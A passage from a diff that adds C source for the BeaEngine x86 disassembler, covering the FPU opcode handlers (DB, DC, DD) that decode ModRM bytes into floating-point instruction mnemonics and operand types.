REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + } + else { + if ((MyMODRM & 0xf0) == 0xc0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovb "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmove "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xd0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovbe "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovu "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + + } + else if (MyMODRM == 0xe9) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fucompp "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument1.AccessMode = READ; + } + else { + FailDecode(pMyDisasm); + } + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} + + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ DB_(PDISASM pMyDisasm) +{ + long MyMODRM; + char (*pRegistersFPU)[8][8] ; + + GV.DECALAGE_EIP = 0; + if (!Security(1, pMyDisasm)) {return;} + MyMODRM = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + pRegistersFPU = &RegistersFPU_Masm; + if (GV.SYNTAX_ == NasmSyntax) { + pRegistersFPU = &RegistersFPU_Nasm; + } + if (MyMODRM <= 0xbf) { + + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fild "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 1) { + GV.MemDecoration = Arg1dword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisttp "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 2) { + GV.MemDecoration = Arg1dword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fist "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 3) { + GV.MemDecoration = Arg1dword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fistp "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 5) { + GV.MemDecoration = Arg2tbyte; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fld "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 7) { + GV.MemDecoration = Arg1tbyte; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + } + else { + if ((MyMODRM & 0xf0) == 0xc0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovnb "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovne "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xd0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovnbe "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovnu "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xe0) { + + if ((MyMODRM & 0xf) ==0) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+UNSUPPORTED_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fneni "); + #endif + } + else if ((MyMODRM & 0xf) ==1) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+UNSUPPORTED_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fndisi "); + #endif + } + else if ((MyMODRM & 0xf) ==2) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fnclex "); + #endif + } + else if ((MyMODRM & 0xf) ==3) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fninit "); + #endif + } + else if ((MyMODRM & 0xf) ==4) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+UNSUPPORTED_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fnsetpm "); + #endif + } + else if ((MyMODRM & 0xf) ==5) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "frstpm "); + #endif + } + else if (((MyMODRM & 0xf) >=0x8) && ((MyMODRM & 0xf) <=0xf)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fucomi "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument1.AccessMode = READ; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + } + else if ((MyMODRM & 0xf0) == 0xf0) { + if (((MyMODRM & 0xf) >=0x0) && ((MyMODRM & 0xf) <=0x7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomi "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument1.AccessMode = READ; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + } + else { + FailDecode(pMyDisasm); + } + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} + + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ DC_(PDISASM pMyDisasm) +{ + long MyMODRM; + char (*pRegistersFPU)[8][8] ; + + GV.DECALAGE_EIP = 0; + if (!Security(1, pMyDisasm)) {return;} + MyMODRM = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + pRegistersFPU = &RegistersFPU_Masm; + if (GV.SYNTAX_ == NasmSyntax) { + pRegistersFPU = &RegistersFPU_Nasm; + } + if (MyMODRM <= 0xbf) { + + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fadd "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 1) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fmul "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 2) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcom "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument1.AccessMode = READ; + } + else if (GV.REGOPCODE == 3) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomp "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument1.AccessMode = READ; + } + else if (GV.REGOPCODE == 4) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsub "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 5) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubr "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 6) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdiv "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 7) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivr "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + } + else { + if ((MyMODRM & 0xf0) == 0xc0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fadd "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fmul "); + #endif + (*pMyDisasm).Argument1.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument2.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xd0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcom2 "); + #endif + + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomp3 "); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + + } + else if ((MyMODRM & 0xf0) == 0xe0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubr "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsub "); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument2.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xf0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivr "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdiv "); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument2.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + + } + else { + FailDecode(pMyDisasm); + } + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} + + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ DD_(PDISASM pMyDisasm) +{ + long MyMODRM; + char (*pRegistersFPU)[8][8] ; + + GV.DECALAGE_EIP = 0; + if (!Security(1, pMyDisasm)) {return;} + MyMODRM = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + pRegistersFPU = &RegistersFPU_Masm; + if (GV.SYNTAX_ == NasmSyntax) { + pRegistersFPU = &RegistersFPU_Nasm; + } + if (MyMODRM <= 0xbf) { + + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fld "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 1) { + GV.MemDecoration = Arg1qword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisttp "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 2) { + GV.MemDecoration = Arg1qword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fst "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 3) { + GV.MemDecoration = Arg1qword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 4) { + GV.MemDecoration = Arg2multibytes; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "frstor "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 108*8; + } + else if (GV.REGOPCODE == 6) { + GV.MemDecoration = Arg1multibytes; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsave "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 108*8; + } + else if (GV.REGOPCODE == 7) { + GV.MemDecoration = Arg1word; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstsw "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG; + (*pMyDisasm).Argument2.ArgSize = 16; + } + else { + FailDecode(pMyDisasm); + } + } + else { + if ((MyMODRM & 0xf0) == 0xc0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ffree "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxch4 "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xd0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fst "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + + } + else if ((MyMODRM & 0xf0) == 0xe0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fucom "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[0]); + 